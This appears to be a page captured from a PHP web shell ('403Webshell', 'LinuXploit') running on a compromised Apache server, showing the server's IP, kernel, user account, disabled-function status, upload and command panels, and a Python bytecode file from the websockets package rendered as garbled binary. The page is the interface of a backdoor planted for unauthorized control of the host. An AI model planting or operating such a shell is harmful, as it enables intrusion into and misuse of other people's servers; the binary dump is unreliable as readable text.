403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/websockets/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/websockets/__pycache__/imports.cpython-311.pyc
�

�=Xc�
��N�ddlmZddlZddlmZmZmZmZdgZdd�Z			ddd�Z
dS)�)�annotationsN)�Any�Dict�Iterable�Optional�lazy_import�name�str�source�	namespace�Dict[str, Any]�returnrc���d}||dkr.|dz
}|t|��ks
Jd���||dk�.t||d�|d|g|��}t||��S)aN
    Import ``name`` from ``source`` in ``namespace``.

    There are two use cases:

    - ``name`` is an object defined in ``source``;
    - ``name`` is a submodule of ``source``.

    Neither :func:`__import__` nor :func:`~importlib.import_module` does
    exactly this. :func:`__import__` is closer to the intended behavior.

    r�.�z%importing from parent isn't supportedN)�len�
__import__�getattr)r	rr�level�modules     �4/usr/lib/python3/dist-packages/websockets/imports.py�import_namer
s���
�E�
��-�3�
�
�
��
���s�6�{�{�"�"�"�$K�"�"�"���-�3�
�
���u�v�v��	�4�$���
G�
G�F��6�4� � � ��aliases�Optional[Dict[str, str]]�deprecated_aliases�Nonec�����������i���i�t����t����t������zr
Jd�����zr
Jd�����zr
Jd����d�d
����fd�}|�d	<d���fd�}|�d<dS)a�
    Provide lazy, module-level imports.

    Typical use::

        __getattr__, __dir__ = lazy_import(
            globals(),
            aliases={
                "<name>": "<source module>",
                ...
            },
            deprecated_aliases={
                ...,
            }
        )

    This function defines ``__getattr__`` and ``__dir__`` per :pep:`562`.

    Nznamespace conflict�__name__r	r
rrc�*����J�	�|}t||���S#t$rYnwxYw��J�	�|}tj��d|�d�td���t||���S#t$rYnwxYwtd��d|�����)Nrz is deprecated�)�
stacklevelzmodule z has no attribute )r�KeyError�warnings�warn�DeprecationWarning�AttributeError)r	rrrr�packages  ����r�__getattr__z lazy_import.<locals>.__getattr__Fs�����"�"�"�	8��T�]�F��t�V�Y�7�7�7���	�	�	��D�	����
"�-�-�-�
	8�'��-�F�
�M��1�1�T�1�1�1�"��
�
�
�
�
�t�V�Y�7�7�7���	�	�	��D�	�����L�w�L�L�D�L�L�M�M�Ms� �
-�-�A0�0
A=�<A=r)�
Iterable[str]c�.��t��z�z��S)N)�sorted)�aliases_set�deprecated_aliases_set�
namespace_sets���r�__dir__zlazy_import.<locals>.__dir__`s����m�k�1�4J�J�K�K�Krr0)r	r
rr)rr*)�set)	rrrr)r0r-r.r/r(s	```  @@@@rrrs$���������0�����!����	�N�N�M��g�,�,�K� �!3�4�4���{�*�@�@�,@�@�@�@��5�5�K�K�7K�K�K�K��3�3�I�I�5I�I�I�I��
�#�G�N�N�N�N�N�N�N�N�N�0 +�I�m��L�L�L�L�L�L�L�L�#�I�i���r)r	r
rr
rr
rr)NN)rr
rrrrrr)�
__future__rr$�typingrrrr�__all__rr�rr�<module>r6s���"�"�"�"�"�"�����0�0�0�0�0�0�0�0�0�0�0�0��/��!�!�!�!�.)-�37�D#�D#�D#�D#�D#�D#�D#r

Youez - 2016 - github.com/yon3zu
LinuXploit